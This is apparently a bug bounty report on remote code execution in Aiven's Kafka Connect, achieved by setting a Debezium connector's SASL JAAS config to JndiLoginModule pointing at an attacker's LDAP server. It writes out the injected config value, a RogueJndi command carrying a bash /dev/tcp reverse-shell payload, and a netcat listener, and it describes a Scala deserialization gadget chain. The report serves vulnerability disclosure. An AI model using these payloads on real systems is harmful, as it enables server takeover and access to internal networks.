Kafka Connect RCE via connector SASL JAAS JndiLoginModule configuration

How it was found

Summary:

When configuring the connector via the Aiven API or the Kafka Connect REST API, the attacker can set the database.history.producer.sasl.jaas.config connector property for the io.debezium.connector.mysql.MySqlConnector connector. This is likely true for other debezium connectors too. By setting the connector value to "com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";", the server will connect to the attacker's LDAP server and it deserializes the LDAP response, which the attacker can use to execute java deserialization gadget chains on the kafka connect server.

Steps To Reproduce:

██████

1. Login into my VPS: ssh ███████, password: █████
2. Execute java -jar RogueJndi-1.1.jar --hostname ███ -c "bash -c bash\${IFS}-i\${IFS}>&/dev/tcp/███/4445<&1"
3. Execute nc -nlvp 4445 on another tab
4. Execute python3 poc.py on another table. This poc script launches the exploit against my Aiven kafka connect instance.
5. Reverse shell connection should now be established

The gadget chain

The exploit uses System.setProperty gadget chain in the scala standard library to enable unsafe deserialization of apache commons collections transformers (finding this gadget chain took way too much time...). This payload has been designed for the Scala version 2.13.6. It may fail on other scala versions. Then the script executes the reverse shell setup command using the CommonsCollections7 payload.

Impact

Attacker can execute commands on the server and access other resources on the network.